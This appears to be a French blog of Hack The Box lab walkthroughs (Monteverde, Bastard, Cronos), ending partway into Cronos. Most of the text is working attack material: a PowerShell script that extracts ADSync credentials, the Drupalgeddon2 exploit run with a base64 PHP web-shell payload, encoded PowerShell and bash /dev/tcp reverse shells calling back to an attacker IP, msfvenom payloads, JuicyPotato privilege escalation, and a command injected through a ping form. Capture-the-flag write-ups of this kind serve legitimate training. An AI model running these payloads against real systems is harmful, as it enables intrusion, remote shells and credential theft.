On remarque que azure_uploads est vide.

Dans users$ on trouve le dossier d’un autre utilisateur “mhope” avec un fichier azure.xml :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


$ smbclient //10.10.10.172/users$ -U MEGABANK.LOCAL/SABatchJobs
Password for [MEGABANK.LOCAL\SABatchJobs]:
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Fri Jan 3 14:12:48 2020
 .. D 0 Fri Jan 3 14:12:48 2020
 dgalanos D 0 Fri Jan 3 14:12:30 2020
 mhope D 0 Fri Jan 3 14:41:18 2020
 roleary D 0 Fri Jan 3 14:10:30 2020
 smorgan D 0 Fri Jan 3 14:10:24 2020

 31999 blocks of size 4096. 28979 blocks available
smb: \> cd mhope
smb: \mhope\> ls
 . D 0 Fri Jan 3 14:41:18 2020
 .. D 0 Fri Jan 3 14:41:18 2020
 azure.xml AR 1212 Fri Jan 3 14:40:23 2020

 31999 blocks of size 4096. 28979 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (15.0 KiloBytes/sec) (average 15.0 KiloBytes/sec)

Dans ce fichier se trouve un mot de passe 4n0therD4y@n0th3r$:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
 <Obj RefId="0">
 <TN RefId="0">
 <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
 <T>System.Object</T>
 </TN>
 <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
 <Props>
 <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
 <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
 <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
 <S N="Password">4n0therD4y@n0th3r$</S>
 </Props>
 </Obj>
</Objs>#

Evil-winrm : mhope -> user flag

On obtient un accès via evil winrm en tant que mhope avec le mot de passe trouvé précédemment 4n0therD4y@n0th3r$ :

1
2
3
4
5
6
7
8


evil-winrm -u mhope -p '4n0therD4y@n0th3r$' -i "10.10.10.172"

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> cat "C:/Users/mhope/Desktop/user.txt"
4437.....5f01

Privilege Escalation

mhope Group : Azure Admins

On observe que mhope fait partie du groupe Azure Admins.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


*Evil-WinRM* PS C:\Users\mhope\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
=======================================
...
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
...

SQL Server: ADSync database

On observer une processus “sqlservr”.

1
2
3
4
5


*Evil-WinRM* PS C:\Users\mhope\Documents> Get-Process sqlservr

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
 832 114 406004 275560 3436 0 sqlservr

On remarque que sqlcmd est installé et on observe une base de donnée “ADSync”. On peut bien effectuer des requêtes vers la base de donnée sans utiliser de user/password :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


*Evil-WinRM* PS C:\Users\mhope\Documents> sqlcmd -Q 'SELECT name FROM sys.databases'
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ADSync

(5 rows affected)

Script

On trouve un script de xpn sur github. Ce script permet de se connecter à la base de donnée ADSync, d’extraire la configuration (chiffrée), puis de la déchiffrer. On obtient alors le mot de passe de l’administrator. Le script est basé sur l’utilisation des infos de la base de données puis du binaire ‘C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ pour réussir à récupérer la configuration contenant les creds administrateur :

https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545

En utilisant le script, on remarque qu’il ne fonctionne pas. Les lignes de code permettant la connection à la base de données semblent incorrectes :

1
2


*Evil-WinRM* PS C:\Users\mhope\Documents> $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()

En cherchant sur internet, j’ai pu corriger la ligne de code permettant la connexion à la bdd. De plus, j’ai pu remarquer certaines erreurs avec des guillemets dans un format suspect. J’ai bien remplacé les guillemets par “’” ou ‘"’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Write-Host "AD Connect Sync Credential Extract POC"

$SQLServer = "127.0.0.1"
$SQLDBName = "ADSync"
$client = New-Object System.Data.SqlClient.SqlConnection
$client.ConnectionString = "Server = $SQLServer; Database = $SQLDBName; Integrated Security = True"
$client.Open()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

Write-Host $decrypted

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Output

Après correction des guillements, on execute le .ps1 et obtient les creds admin :

1
2
3
4
5
6
7
8
9


*Evil-WinRM* PS C:\Users\mhope\Documents> .\decrypt.ps1
AD Connect Sync Credential Extract POC
<encrypted-attributes>
 <attribute name="password">d0m@in4dminyeah!</attribute>
</encrypted-attributes>

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

Administrator pwned

1
2
3
4
5
6
7
8


[Jul 20, 2025 - 14:56:12 (CEST)] exegol-pentest Monteverde # evil-winrm -u "administrator" -p 'd0m@in4dminyeah!' -i 10.10.10.172

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
9f15.....9bf4

Tips

Toujours bien vérifier les scripts trouvés. Debug puis trouver l’erreur. Attention au guillemets suspects, toujours remplacer par ‘"’ ou ‘"’.

HTB | Bastard

Fri, 11 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Bastard	Windows	10.10.10.9	Medium

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


$ nmap -sC -sV -p- -An -vvv 10.10.10.9
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-11 15:53 CEST

PORTSTATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_http-server-header: Microsoft-IIS/7.5
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%)
No exact OS matches for host (test conditions non-ideal).

Foothold

Drupal 7.54

On découvre sur le port 80 une page de login. Il est mentionné qu’il s’agit d’un site web Drupal. On trouve la version de Drupal dans un fichier changelog.txt :

http://10.10.10.9/changelog.txt Drupal 7.54, 2017-02-01

CVE-2018-7600 | drupalgeddon2

En utilisant searchsploit, on trouve une RCE qui ne necessite pas d’authentification et qui fonctionne pour les versions avant 7.58 (donc OK pour 7.54).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ searchsploit drupal 7.54
-----------------------------------------------------------------------------------
 Exploit Title | Path
-----------------------------------------------------------------------------------
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
...

$ searchsploit -m php/webapps/44449.rb
 Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
 URL: https://www.exploit-db.com/exploits/44449
 Path: /opt/tools/exploitdb/exploits/php/webapps/44449.rb
 Codes: CVE-2018-7600
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /workspace/drupwn/44449.rb

On lance l’exploitation, et on obtient directement un shell non-interactif sur lequel on peut executer des commandes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103


$ ruby 44449.rb http://10.10.10.9
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.9/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.9/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo CGATSMRW
[+] Result : CGATSMRW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.9/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Existing file (http://10.10.10.9/sites/default/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Existing file (http://10.10.10.9/sites/default/files/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
[!] FAILED : Couldn't find a writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct OS commands
drupalgeddon2>> ls

drupalgeddon2>> whoami
nt authority\iusr
drupalgeddon2>> dir
Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\inetpub\drupal-7.54

19/03/2017 09:04 �� <DIR> .
19/03/2017 09:04 �� <DIR> ..
19/03/2017 01:42 �� 317 .editorconfig
19/03/2017 01:42 �� 174 .gitignore
19/03/2017 01:42 �� 5.969 .htaccess
19/03/2017 01:42 �� 6.604 authorize.php
19/03/2017 01:42 �� 110.781 CHANGELOG.txt
19/03/2017 01:42 �� 1.481 COPYRIGHT.txt
19/03/2017 01:42 �� 720 cron.php
19/03/2017 01:43 �� <DIR> includes
19/03/2017 01:42 �� 529 index.php
19/03/2017 01:42 �� 1.717 INSTALL.mysql.txt
19/03/2017 01:42 �� 1.874 INSTALL.pgsql.txt
19/03/2017 01:42 �� 703 install.php
19/03/2017 01:42 �� 1.298 INSTALL.sqlite.txt
19/03/2017 01:42 ��17.995 INSTALL.txt
19/03/2017 01:42 ��18.092 LICENSE.txt
19/03/2017 01:42 �� 8.710 MAINTAINERS.txt
19/03/2017 01:43 �� <DIR> misc
19/03/2017 01:43 �� <DIR> modules
19/03/2017 01:43 �� <DIR> profiles
19/03/2017 01:42 �� 5.382 README.txt
19/03/2017 01:42 �� 2.189 robots.txt
19/03/2017 01:43 �� <DIR> scripts
19/03/2017 01:43 �� <DIR> sites
19/03/2017 01:43 �� <DIR> themes
19/03/2017 01:42 ��19.986 update.php
19/03/2017 01:42 ��10.123 UPGRADE.txt
19/03/2017 01:42 �� 2.200 web.config
19/03/2017 01:42 �� 417 xmlrpc.php
 21 File(s) 217.261 bytes
 9 Dir(s) 4.135.231.488 bytes free

drupalgeddon2>> dir C:\Users
Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\Users

19/03/2017 08:35 �� <DIR> .
19/03/2017 08:35 �� <DIR> ..
19/03/2017 02:20 �� <DIR> Administrator
19/03/2017 02:54 �� <DIR> Classic .NET AppPool
19/03/2017 08:35 �� <DIR> dimitris
14/07/2009 07:57 �� <DIR> Public
 0 File(s) 0 bytes
 6 Dir(s) 4.134.649.856 bytes free

drupalgeddon2>> type C:\Users\dimitris\Desktop\user.txt
292f.....ec9d

Stable Shell

En allant sur https://www.revshells.com/, j’ai pu générer rapidement un script de revershell. J’ai utilisé :

PowerShell #3 (Base64)

Ce qui m’a donné la commande suivante. Pratique, car aucun caractère spécial.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA1ACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

-----------------------

exegol-pentest Bastard $ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337


Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57491.
PS C:\inetpub\drupal-7.54> whoami
nt authority\iusr

Better Stable Shell

J’ai trouvé un moyen de faire un shell encore plus stable. Le privesc ne marchait meme pas avec l’autre shell… On ne voyait pas les erreurs non plus. Il vaut mieu generer avec msfvenom un shell.exe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.25 LPORT=9999 -a x64 --platform windows -e x64/xor_dynamic -b '\x00' -f exe -o shell.exe

--------------

PS C:\inetpub\drupal-7.54> .\shell.exe

--------------

$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57676.
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) Microsoft Corporation. All rights reserved.


PS C:\inetpub\drupal-7.54>

Privilege Escalation

SEImpersonatePrivilege - JuicyPotato

On exploit avec JuicyPotato (j’ai vraiment beaucoup galérer…). On génére un deuxieme rev shell en .exe sur un autre port :

1

msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.25 LPORT=8888 -a x64 --platform windows -e x64/xor_dynamic -b '\x00' -f exe -o shell2.exe

On copie shell2.exe sur la machine puis on execute JuicyPotato.exe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


PS C:\inetpub\drupal-7.54> ./JP.exe -p cmd.exe -a '/c C:\inetpub\drupal-7.54\shell2.exe' -l 4444 -t * -c '{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}'
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 4444
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

-------------------------------

exegol-pentest /workspace $ nc -lnvp 8888
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888

Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57681.
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
47f4.....3c54

Tips

un reverse shell en utilisant msfvenom semble plus stable (affiche les erreurs aussi) que le powershell -e …. que j’ai utilisé. Peut etre a utilisé en priorité la prochaine fois ?
Attention au CLSID. Toujours tester plusieurs. NE JAMAIS FAIRE CONFIANCE A CELUI PAR DEFAUT. Regarder sur :
- https://ohpe.it/juicy-potato/CLSID/
- https://github.com/ohpe/juicy-potato/tree/master/CLSID/

HTB | Cronos

Fri, 11 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Cronos	Linux	10.10.10.13	Medium

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ nmap -sC -sV -p- -An -vvv 10.10.10.13

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18b973826f26c7788f1b3988d802cee8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkOUbDfxsLPWvII72vC7hU4sfLkKVEqyHRpvPWV2+5s2S4kH0rS25C/R+pyGIKHF9LGWTqTChmTbcRJLZE4cJCCOEoIyoeXUZWMYJCqV8crflHiVG7Zx3wdUJ4yb54G6NlS4CQFwChHEH9xHlqsJhkpkYEnmKc+CvMzCbn6CZn9KayOuHPy5NEqTRIHObjIEhbrz2ho8+bKP43fJpWFEx0bAzFFGzU0fMEt8Mj5j71JEpSws4GEgMycq4lQMuw8g6Acf4AqvGC5zqpf2VRID0BDi3gdD1vvX2d67QzHJTPA5wgCk/KzoIAovEwGqjIvWnTzXLL8TilZI6/PV8wPHzn
| 256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWsTNMJT9n5sJr5U1iP8dcbkBrDMs4yp7RRAvuu10E6FmORRY/qrokZVNagS1SA9mC6eaxkgW6NBgBEggm3kfQ=
| 256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBIQsAL/XR/HGmUzGZgRJe/1lQvrFWnODXvxQ1Dc+Zx
53/tcp open domain syn-ack ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)

Foothold

dig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


## dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 20 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Thu Jul 10 22:16:46 CEST 2025
;; XFR size: 7 records (messages 1, bytes 203)

sqlmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


sqlmap --forms --batch -u "http://admin.cronos.htb/"
> username field is vulnerable to blind SQL Injection !

sqlmap --forms --batch -u "http://admin.cronos.htb/" --current-db
> admin

sqlmap --forms --batch -u "http://admin.cronos.htb/" -D admin --tables
> users

sqlmap --forms --batch -u "http://admin.cronos.htb/" -D admin -T users --columns
> Too slow... Trying to guess "password" field and it works !

sqlmap --forms --batch -u "http://admin.cronos.htb/" -D admin -T users -C password --dump
> 4f5fffa7b2340178a716e3832451e058

Sur crackstation : Not found. Hashcat avec rockyou.txt : Not found.

J’ai cherché le hachage sur google : “4f5fffa7b2340178a716e3832451e058” Bingo ! On trouve le mot de passe : 1327663704

On essaye les credentials sur la page de login de admin.cronos.htb et ça marche :

user: admin
pass: 1327663704

Après review du code source (plus tard) on découvre que : $myusername = $_POST[‘username’]; $mypassword = md5($_POST[‘password’]);

Command Injection - admin dashboard

On peut faire des ping et des traceroute sur la page d’admin. En utilisant burp on peut modifier la commande pour executer ce qu’on veut. On peut alors executer un reverse shell vers notre machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://admin.cronos.htb
Connection: keep-alive
Referer: http://admin.cronos.htb/welcome.php
Cookie: PHPSESSID=0p5lct2jjmbq5neupststnl996
Upgrade-Insecure-Requests: 1
Priority: u=0, i

command=echo+c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjUvOTAwMSAwPiYx+|+base64+-d+|+bash&host=z

------------------------

$ nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.13.
Ncat: Connection from 10.10.10.13:55658.
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ export TERM=xterm
$ python3 -V
Python 3.5.2
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$ ^Z
[2] + 27640 suspended nc -lnvp 9001
[Jul 10, 2025 - 23:33:12 (CEST)] exegol-pentest Cronos # stty raw -echo;fg
[2] - 27640 continued nc -lnvp 9001

www-data@cronos:/var/www/admin$ whoami
www-data
www-data@cronos:/var/www/admin$ cd /home
www-data@cronos:/home$ cd noulis/
www-data@cronos:/home/noulis$ cat user.txt
fe30.....e498

www-data -> root

laravel root crontab

En utilisant linpeas, on s’en compte que l’utilisateur root execute chaque minute :

php /var/www/laravel/artisan schedule:run » /dev/null 2>&1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


╔══════════╣ Check for vulnerable cron jobs
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs
══╣ Cron jobs list

...

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
